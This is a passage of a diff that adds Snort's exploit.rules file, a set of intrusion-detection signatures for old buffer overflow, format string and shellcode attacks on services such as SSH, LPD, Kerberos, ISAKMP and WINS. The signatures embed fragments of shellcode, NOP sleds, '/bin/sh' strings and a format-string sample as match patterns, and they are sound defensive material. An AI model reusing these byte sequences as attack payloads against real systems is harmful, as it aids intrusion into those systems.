+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP Get"; content:"|00 01|"; depth:2; classtype:bad-unknown; sid:1444; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP NULL command attempt"; content:"|00 00|"; depth:2; reference:bugtraq,7575; classtype:bad-unknown; sid:2339; rev:2;)
--- snort-2.8.5.2.orig/rules/exploit.rules
+++ snort-2.8.5.2/rules/exploit.rules
@@ -0,0 +1,121 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: exploit.rules,v 1.63.2.7.2.7 2005/07/22 19:19:54 mwatchinski Exp $
+#--------------
+# EXPLOIT RULES
+#--------------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow /bin/sh"; flow:to_server,established; content:"/bin/sh"; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; classtype:shellcode-detect; sid:1324; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow filler"; flow:to_server,established; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; classtype:shellcode-detect; sid:1325; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow NOOP"; flow:to_server,established; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; classtype:shellcode-detect; sid:1326; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow"; flow:to_server,established; content:"|00 01|W|00 00 00 18|"; depth:7; content:"|FF FF FF FF 00 00|"; depth:14; offset:8; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; classtype:shellcode-detect; sid:1327; rev:7;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"EXPLOIT Netscape 4.7 client overflow"; flow:to_client,established; content:"3|C9 B1 10|?|E9 06|Q<|FA|G3|C0|P|F7 D0|P"; reference:arachnids,215; reference:bugtraq,822; reference:cve,1999-1189; reference:cve,2000-1187; classtype:attempted-user; sid:283; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2766 (msg:"EXPLOIT nlps x86 Solaris overflow"; flow:to_server,established; content:"|EB 23|^3|C0 88|F|FA 89|F|F5 89|6"; reference:bugtraq,2319; classtype:attempted-admin; sid:300; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng overflow"; flow:to_server,established; content:"C|07 89|[|08 8D|K|08 89|C|0C B0 0B CD 80|1|C0 FE C0 CD 80 E8 94 FF FF FF|/bin/sh|0A|"; reference:bugtraq,1712; reference:cve,2000-0917; classtype:attempted-admin; sid:301; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT Redhat 7.0 lprd overflow"; flow:to_server,established; content:"XXXX%.172u%300|24|n"; reference:bugtraq,1712; reference:cve,2000-0917; classtype:attempted-admin; sid:302; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6373 (msg:"EXPLOIT SCO calserver overflow"; flow:to_server,established; content:"|EB 7F|]U|FE|M|98 FE|M|9B|"; reference:bugtraq,2353; reference:cve,2000-0306; classtype:attempted-admin; sid:304; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"EXPLOIT delegate proxy overflow"; flow:to_server,established; dsize:>1000; content:"whois|3A|//"; nocase; reference:arachnids,267; reference:bugtraq,808; reference:cve,2000-0165; classtype:attempted-admin; sid:305; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 9090 (msg:"EXPLOIT VQServer admin"; flow:to_server,established; content:"GET / HTTP/1.1"; nocase; reference:bugtraq,1610; reference:cve,2000-0766; reference:url,www.vqsoft.com/vq/server/docs/other/control.html; classtype:attempted-admin; sid:306; rev:9;)
+alert tcp $EXTERNAL_NET 21 -> $HOME_NET any (msg:"EXPLOIT NextFTP client overflow"; flow:to_client,established; content:"|B4| |B4|!|8B CC 83 E9 04 8B 19|3|C9|f|B9 10|"; reference:bugtraq,572; reference:cve,1999-0671; classtype:attempted-user; sid:308; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"EXPLOIT sniffit overflow"; flow:stateless; dsize:>512; flags:A+; content:"from|3A 90 90 90 90 90 90 90 90 90 90 90|"; nocase; reference:arachnids,273; reference:bugtraq,1158; reference:cve,2000-0343; classtype:attempted-admin; sid:309; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"EXPLOIT x86 windows MailMax overflow"; flow:to_server,established; content:"|EB|E|EB| [|FC|3|C9 B1 82 8B F3 80|+"; reference:bugtraq,2312; reference:cve,1999-0404; classtype:attempted-admin; sid:310; rev:8;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"EXPLOIT Netscape 4.7 unsucessful overflow"; flow:to_server,established; content:"3|C9 B1 10|?|E9 06|Q<|FA|G3|C0|P|F7 D0|P"; reference:arachnids,214; reference:bugtraq,822; reference:cve,1999-1189; reference:cve,2000-1187; classtype:unsuccessful-user; sid:311; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 123 (msg:"EXPLOIT ntpdx overflow attempt"; dsize:>128; reference:arachnids,492; reference:bugtraq,2540; reference:cve,2001-0414; classtype:attempted-admin; sid:312; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd x86 Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 02 E8|"; reference:bugtraq,210; classtype:attempted-admin; sid:313; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F"; reference:bugtraq,121; reference:cve,1999-0002; classtype:attempted-admin; sid:315; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd overflow"; content:"|EB|V^VVV1|D2 88|V|0B 88|V|1E|"; reference:bugtraq,121; reference:cve,1999-0002; classtype:attempted-admin; sid:316; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd overflow"; content:"|EB|@^1|C0|@|89|F|04 89 C3|@|89 06|"; reference:bugtraq,121; reference:cve,1999-0002; classtype:attempted-admin; sid:317; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2224 (msg:"EXPLOIT MDBMS overflow"; flow:to_server,established; content:"|01|1|DB CD 80 E8|[|FF FF FF|"; reference:bugtraq,1252; reference:cve,2000-0446; classtype:attempted-admin; sid:1240; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 4242 (msg:"EXPLOIT AIX pdnsd overflow"; flow:to_server,established; dsize:>1000; content:"|7F FF FB|x|7F FF FB|x|7F FF FB|x|7F FF FB|x"; content:"@|8A FF C8|@|82 FF D8 3B|6|FE 03 3B|v|FE 02|"; reference:bugtraq,3237; reference:bugtraq,590; reference:cve,1999-0745; classtype:attempted-user; sid:1261; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 4321 (msg:"EXPLOIT rwhoisd format string attempt"; flow:to_server,established; content:"-soa %p"; reference:bugtraq,3474; reference:cve,2001-0838; classtype:misc-attack; sid:1323; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6112 (msg:"EXPLOIT CDE dtspcd exploit attempt"; flow:to_server,established; content:"1"; depth:1; offset:10; content:!"000"; depth:3; offset:11; reference:bugtraq,3517; reference:cve,2001-0803; reference:url,www.cert.org/advisories/CA-2002-01.html; classtype:misc-attack; sid:1398; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32772:34000 (msg:"EXPLOIT cachefsd buffer overflow attempt"; flow:to_server,established; dsize:>720; content:"|00 01 87 86 00 00 00 01 00 00 00 05|"; reference:bugtraq,4631; reference:cve,2002-0084; reference:nessus,10951; classtype:misc-attack; sid:1751; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 749 (msg:"EXPLOIT kadmind buffer overflow attempt"; flow:established,to_server; content:"|00 C0 05 08 00 C0 05 08 00 C0 05 08 00 C0 05 08|"; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:shellcode-detect; sid:1894; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 751 (msg:"EXPLOIT kadmind buffer overflow attempt"; flow:established,to_server; content:"|00 C0 05 08 00 C0 05 08 00 C0 05 08 00 C0 05 08|"; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:shellcode-detect; sid:1895; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 749 (msg:"EXPLOIT kadmind buffer overflow attempt"; flow:established,to_server; content:"|FF FF|KADM0.0A|00 00 FB 03|"; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:shellcode-detect; sid:1896; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 751 (msg:"EXPLOIT kadmind buffer overflow attempt"; flow:established,to_server; content:"|FF FF|KADM0.0A|00 00 FB 03|"; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:shellcode-detect; sid:1897; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 749 (msg:"EXPLOIT kadmind buffer overflow attempt"; flow:established,to_server; content:"/shh//bi"; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:shellcode-detect; sid:1898; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 751 (msg:"EXPLOIT kadmind buffer overflow attempt"; flow:established,to_server; content:"/shh//bi"; reference:bugtraq,5731; reference:bugtraq,6024; reference:cve,2002-1226; reference:cve,2002-1235; reference:url,www.kb.cert.org/vuls/id/875073; classtype:shellcode-detect; sid:1899; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT gobbles SSH exploit attempt"; flow:to_server,established; content:"GOBBLES"; reference:bugtraq,5093; reference:cve,2002-0390; reference:cve,2002-0639; classtype:misc-attack; sid:1812; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPD dvips remote command execution attempt"; flow:to_server,established; content:"psfile=|22|`"; reference:bugtraq,3241; reference:cve,2001-1002; reference:nessus,11023; classtype:system-call-detect; sid:1821; rev:7;)
+
+alert tcp $EXTERNAL_NET 22 -> $HOME_NET any (msg:"EXPLOIT SSH server banner overflow"; flow:established,from_server; content:"SSH-"; nocase; isdataat:200,relative; pcre:"/^SSH-\s[^\n]{200}/ism"; reference:bugtraq,5287; reference:cve,2002-1059; classtype:misc-attack; sid:1838; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6666:7000 (msg:"EXPLOIT CHAT IRC topic overflow"; flow:to_client,established; content:"|EB|K[S2|E4 83 C3 0B|K|88 23 B8|Pw"; reference:bugtraq,573; reference:cve,1999-0672; classtype:attempted-user; sid:307; rev:9;)
+alert tcp any any -> any 6666:7000 (msg:"EXPLOIT CHAT IRC Ettercap parse overflow attempt"; flow:to_server,established; content:"PRIVMSG"; nocase; content:"nickserv"; nocase; content:"IDENTIFY"; nocase; isdataat:100,relative; pcre:"/^PRIVMSG\s+nickserv\s+IDENTIFY\s[^\n]{100}/smi"; reference:url,www.bugtraq.org/dev/GOBBLES-12.txt; classtype:misc-attack; sid:1382; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"EXPLOIT x86 Linux samba overflow"; flow:to_server,established; content:"|EB|/_|EB|J^|89 FB 89|>|89 F2|"; reference:bugtraq,1816; reference:bugtraq,536; reference:cve,1999-0182; reference:cve,1999-0811; classtype:attempted-admin; sid:292; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1655 (msg:"EXPLOIT ebola PASS overflow attempt"; flow:to_server,established; content:"PASS"; nocase; pcre:"/^PASS\s[^\n]{49}/smi"; reference:bugtraq,9156; classtype:attempted-admin; sid:2319; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1655 (msg:"EXPLOIT ebola USER overflow attempt"; flow:to_server,established; content:"USER"; nocase; pcre:"/^USER\s[^\n]{49}/smi"; reference:bugtraq,9156; classtype:attempted-admin; sid:2320; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP first payload certificate request length overflow attempt"; byte_test:4,>,2043,24; content:"|07|"; depth:1; offset:16; byte_test:2,>,2043,30; reference:bugtraq,9582; reference:cve,2004-0040; classtype:attempted-admin; sid:2376; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP second payload certificate request length overflow attempt"; byte_test:4,>,2043,24; content:"|07|"; depth:1; offset:28; byte_jump:2,30; byte_test:2,>,2043,-2,relative; reference:bugtraq,9582; reference:cve,2004-0040; classtype:attempted-admin; sid:2377; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP third payload certificate request length overflow attempt"; byte_test:4,>,2043,24; byte_jump:2,30,relative; content:"|07|"; within:1; distance:-4; byte_jump:2,1,relative; byte_test:2,>,2043,-2,relative; reference:bugtraq,9582; reference:cve,2004-0040; classtype:attempted-admin; sid:2378; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP forth payload certificate request length overflow attempt"; byte_test:4,>,2043,24; byte_jump:2,30,relative; byte_jump:2,-2,relative; content:"|07|"; within:1; distance:-4; byte_jump:2,1,relative; byte_test:2,>,2043,-2,relative; reference:bugtraq,9582; reference:cve,2004-0040; classtype:attempted-admin; sid:2379; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP fifth payload certificate request length overflow attempt"; byte_test:4,>,2043,24; byte_jump:2,30,relative; byte_jump:2,-2,relative; byte_jump:2,-2,relative; content:"|07|"; within:1; distance:-4; byte_jump:2,1,relative; byte_test:2,>,2043,-2,relative; reference:bugtraq,9582; reference:cve,2004-0040; classtype:attempted-admin; sid:2380; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP delete hash with empty hash attempt"; content:"|08|"; depth:1; offset:16; content:"|0C|"; depth:1; offset:28; content:"|00 04|"; depth:2; offset:30; reference:bugtraq,9416; reference:bugtraq,9417; reference:cve,2004-0164; classtype:misc-attack; sid:2413; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP initial contact notification without SPI attempt"; content:"|0B|"; depth:1; offset:16; content:"|00 0C 00 00 00 01 01 00 06 02|"; depth:10; offset:30; reference:bugtraq,9416; reference:bugtraq,9417; reference:cve,2004-0164; classtype:misc-attack; sid:2414; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"EXPLOIT ISAKMP second payload initial contact notification without SPI attempt"; content:"|0B|"; depth:1; offset:28; byte_jump:2,30; content:"|00 0C 00 00 00 01 01 00|`|02|"; within:10; distance:-2; reference:bugtraq,9416; reference:bugtraq,9417; reference:cve,2004-0164; classtype:misc-attack; sid:2415; rev:9;)
+alert udp any 4000 -> any any (msg:"EXPLOIT ICQ SRV_MULTI/SRV_META_USER first name overflow attempt"; content:"|05 00|"; depth:2; content:"|12 02|"; within:2; distance:5; byte_test:1,>,1,12,relative; content:"|05 00|"; distance:0; content:"n|00|"; within:2; distance:5; content:"|05 00|"; content:"|DE 03|"; within:2; distance:5; byte_test:2,>,128,18,relative,little; reference:url,www.eeye.com/html/Research/Advisories/AD20040318.html; classtype:misc-attack; sid:2443; rev:4;)
+alert udp any 4000 -> any any (msg:"EXPLOIT ICQ SRV_MULTI/SRV_META_USER first name overflow attempt"; content:"|05 00|"; depth:2; content:"|12 02|"; within:2; distance:5; byte_test:1,>,1,12,relative; content:"|05 00|"; distance:0; content:"n|00|"; within:2; distance:5; content:"|05 00|"; content:"|DE 03|"; within:2; distance:5; byte_jump:2,18,relative,little; byte_test:2,>,128,0,relative,little; reference:url,www.eeye.com/html/Research/Advisories/AD20040318.html; classtype:misc-attack; sid:2444; rev:4;)
+alert udp any 4000 -> any any (msg:"EXPLOIT ICQ SRV_MULTI/SRV_META_USER last name overflow attempt"; content:"|05 00|"; depth:2; byte_test:2,>,128,0,relative,little; content:"|12 02|"; within:2; distance:5; byte_test:1,>,1,12,relative; content:"|05 00|"; distance:0; content:"n|00|"; within:2; distance:5; content:"|05 00|"; content:"|DE 03|"; within:2; distance:5; byte_jump:2,18,relative,little; byte_jump:2,0,relative,little; reference:url,www.eeye.com/html/Research/Advisories/AD20040318.html; classtype:misc-attack; sid:2445; rev:4;)
+alert udp any 4000 -> any any (msg:"EXPLOIT ICQ SRV_MULTI/SRV_META_USER overflow attempt"; content:"|05 00|"; depth:2; content:"|12 02|"; within:2; distance:5; byte_test:1,>,1,12,relative; content:"|05 00|"; content:"n|00|"; within:2; distance:5; content:"|05 00|"; content:"|DE 03|"; within:2; distance:5; byte_test:2,>,512,-11,relative,little; reference:cve,2004-0362; reference:url,www.eeye.com/html/Research/Advisories/AD20040318.html; classtype:misc-attack; sid:2446; rev:6;)
+
+alert ip any any -> any any (msg:"EXPLOIT IGMP IGAP account overflow attempt"; ip_proto:2; byte_test:1,>,63,0; byte_test:1,<,67,0; byte_test:1,>,16,12; reference:bugtraq,9952; reference:cve,2004-0176; reference:cve,2004-0367; classtype:attempted-admin; sid:2462; rev:7;)
+alert ip any any -> any any (msg:"EXPLOIT IGMP IGAP message overflow attempt"; ip_proto:2; byte_test:1,>,63,0; byte_test:1,<,67,0; byte_test:1,>,64,13; reference:bugtraq,9952; reference:cve,2004-0176; reference:cve,2004-0367; classtype:attempted-admin; sid:2463; rev:7;)
+alert ip any any -> any any (msg:"EXPLOIT EIGRP prefix length overflow attempt"; ip_proto:88; byte_test:1,>,32,44; reference:bugtraq,9952; reference:cve,2004-0176; reference:cve,2004-0367; classtype:attempted-admin; sid:2464; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"EXPLOIT esignal STREAMQUOTE buffer overflow attempt"; flow:to_server,established; content:"<STREAMQUOTE>"; nocase; isdataat:1024,relative; content:!"</STREAMQUOTE>"; within:1054; nocase; reference:bugtraq,9978; classtype:attempted-admin; sid:2489; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"EXPLOIT esignal SNAPQUOTE buffer overflow attempt"; flow:to_server,established; content:"<SNAPQUOTE>"; nocase; isdataat:1024,relative; content:!"</SNAPQUOTE>"; within:1052; nocase; reference:bugtraq,9978; classtype:attempted-admin; sid:2490; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 548 (msg:"EXPLOIT AFP FPLoginExt username buffer overflow attempt"; flow:to_server,established; content:"|00 02|"; depth:2; content:"?"; within:1; distance:14; content:"cleartxt passwrd"; nocase; byte_jump:2,1,relative; byte_jump:2,1,relative; isdataat:2,relative; reference:bugtraq,10271; reference:cve,2004-0430; reference:url,www.atstake.com/research/advisories/2004/a050304-1.txt; classtype:attempted-admin; sid:2545; rev:4;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"EXPLOIT winamp XM module name overflow"; flow:established,from_server; content:"Extended module|3A|"; nocase; isdataat:20,relative; content:!"|1A|"; within:21; reference:url,www.nextgenss.com/advisories/winampheap.txt; classtype:attempted-user; sid:2550; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache GET overflow attempt"; flow:to_server,established; content:"GET"; pcre:"/^GET[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2551; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache HEAD overflow attempt"; flow:to_server,established; content:"HEAD"; pcre:"/^HEAD[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2552; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache PUT overflow attempt"; flow:to_server,established; content:"PUT"; pcre:"/^PUT[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2553; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache POST overflow attempt"; flow:to_server,established; content:"POST"; pcre:"/^POST[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2554; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache TRACE overflow attempt"; flow:to_server,established; content:"TRACE"; pcre:"/^TRACE[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2555; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache DELETE overflow attempt"; flow:to_server,established; content:"DELETE"; pcre:"/^DELETE[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2556; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache LOCK overflow attempt"; flow:to_server,established; content:"LOCK"; pcre:"/^LOCK[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2557; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache MKCOL overflow attempt"; flow:to_server,established; content:"MKCOL"; pcre:"/^MKCOL[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2558; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache COPY overflow attempt"; flow:to_server,established; content:"COPY"; pcre:"/^COPY[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2559; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7777:7778 (msg:"EXPLOIT Oracle Web Cache MOVE overflow attempt"; flow:to_server,established; content:"MOVE"; pcre:"/^MOVE[^s]{432}/sm"; reference:bugtraq,9868; reference:cve,2004-0385; reference:nessus,12126; classtype:attempted-admin; sid:2560; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 88 (msg:"EXPLOIT kerberos principal name overflow UDP"; content:"j"; depth:1; content:"|01 A1|"; asn1:oversize_length 1024,relative_offset -1; reference:url,web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-005-buf.txt; classtype:attempted-admin; sid:2578; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 88 (msg:"EXPLOIT kerberos principal name overflow TCP"; flow:to_server,established; content:"j"; depth:1; offset:4; content:"|01 A1|"; asn1:oversize_length 1024,relative_offset -1; reference:url,web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-005-buf.txt; classtype:attempted-admin; sid:2579; rev:2;)
+alert tcp $EXTERNAL_NET 6666:6669 -> $HOME_NET any (msg:"EXPLOIT eMule buffer overflow attempt"; flow:to_client,established; content:"PRIVMSG"; nocase; pcre:"/^PRIVMSG\s+[^\s]+\s+\x3a\s*\x01SENDLINK\x7c[^\x7c]{69}/smi"; reference:bugtraq,10039; reference:nessus,12233; classtype:attempted-user; sid:2584; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 42 (msg:"EXPLOIT WINS overflow attempt"; flow:to_server,established; byte_test:1,&,64,6; byte_test:1,&,32,6; byte_test:1,&,16,6; byte_test:1,&,8,6; pcre:!"/^.{8}(\x05\x37(\x1E[\x90-\xFF]|[\x1F-\x2F].|\x30[\x00-\x70])|\x00\x00\x00[\x00-\x65]|\x02\x68\x05\xC0)/s"; reference:bugtraq,11763; reference:cve,2004-1080; reference:url,www.immunitysec.com/downloads/instantanea.pdf; reference:url,www.microsoft.com/technet/security/bulletin/MS04-045.mspx; classtype:misc-attack; sid:3017; rev:6;)
+alert udp $EXTERNAL_NET 7808 -> $HOME_NET any (msg:"EXPLOIT Volition Freespace 2 buffer overflow attempt"; content:"|00 E1|..|B4 00 00 00|"; depth:8; isdataat:160,relative; reference:bugtraq,9785; classtype:misc-attack; sid:3006; rev:2;)
+alert tcp $EXTERNAL_NET 8080 -> $HOME_NET any (msg:"EXPLOIT AIM goaway message buffer overflow attempt"; flow:established,from_server; content:"goaway?message="; nocase; isdataat:500,relative; pcre:"/goaway\?message=[^\s]{500}/smi"; reference:bugtraq,10889; reference:cve,2004-0636; classtype:misc-attack; sid:3085; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6101 (msg:"EXPLOIT Veritas backup overflow attempt"; flow:established,to_server; content:"|02 00|"; depth:2; content:"|00|"; depth:1; offset:3; isdataat:60; content:!"|00|"; depth:66; offset:6; reference:bugtraq,11974; reference:cve,2004-1172; classtype:misc-attack; sid:3084; rev:3;)
+alert tcp $EXTERNAL_NET 1863 -> $HOME_NET any (msg:"EXPLOIT MSN Messenger png overflow"; flow:to_client,established; content:"application/x-msnmsgrp2p"; nocase; content:"|89|PNG|0D 0A 1A 0A|"; distance:0; content:"IHDR"; within:4; distance:4; content:"|03|"; within:1; distance:9; content:"tRNS"; distance:0; byte_test:4,>,256,-8,relative,big; reference:bugtraq,10872; reference:cve,2004-0957; reference:url,www.microsoft.com/technet/security/bulletin/MS05-009.mspx; classtype:attempted-user; sid:3130; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 42 (msg:"EXPLOIT WINS name query overflow attempt UDP"; byte_test:1,&,64,2; content:" "; offset:12; isdataat:56,relative; reference:bugtraq,9624; reference:cve,2003-0825; reference:url,www.microsoft.com/technet/security/bulletin/MS04-006.mspx; classtype:attempted-admin; sid:3200; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 617 (msg:"EXPLOIT Arkeia backup client type 84 overflow attempt"; flow:established,to_server; content:"|00|T"; depth:2; byte_test:2,>,255,6; isdataat:263; content:!"|00|"; depth:255; offset:8; reference:bugtraq,12594; classtype:attempted-user; sid:3458; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 5001 (msg:"EXPLOIT Bontago Game Server Nickname Buffer Overflow"; flow:to_server,established; content:"|FF 01 00 00 00 00 01|"; isdataat:512,relative; reference:bugtraq,12603; reference:url,aluigi.altervista.org/adv/bontagobof-adv.txt; classtype:attempted-user; sid:3455; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 42 (msg:"EXPLOIT WINS name query overflow attempt TCP"; flow:established; byte_test:1,&,64,2; content:" "; offset:12; isdataat:56,relative; reference:bugtraq,9624; reference:cve,2003-0825; reference:url,www.microsoft.com/technet/security/bulletin/MS04-006.mspx; classtype:attempted-admin; sid:3199; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 617 (msg:"EXPLOIT Arkeia backup client type 77 overflow attempt"; flow:established,to_server; content:"|00|M"; depth:2; byte_test:2,>,23,6; isdataat:31; content:!"|00|"; depth:23; offset:8; reference:bugtraq,12594; classtype:attempted-user; sid:3457; rev:2;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 41523 (msg:"EXPLOIT ARCserve backup TCP slot info msg client domain overflow"; flow:to_server,established; content:"|98|"; depth:1; isdataat:40; content:!"|00|"; depth:16; offset:24; reference:bugtraq,12563; classtype:attempted-admin; sid:3475; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP product info msg 0x9c client domain overflow"; content:"|9C|"; depth:1; isdataat:41; content:!"|00|"; depth:16; offset:25; reference:bugtraq,12563; classtype:attempted-admin; sid:3485; rev:3;)
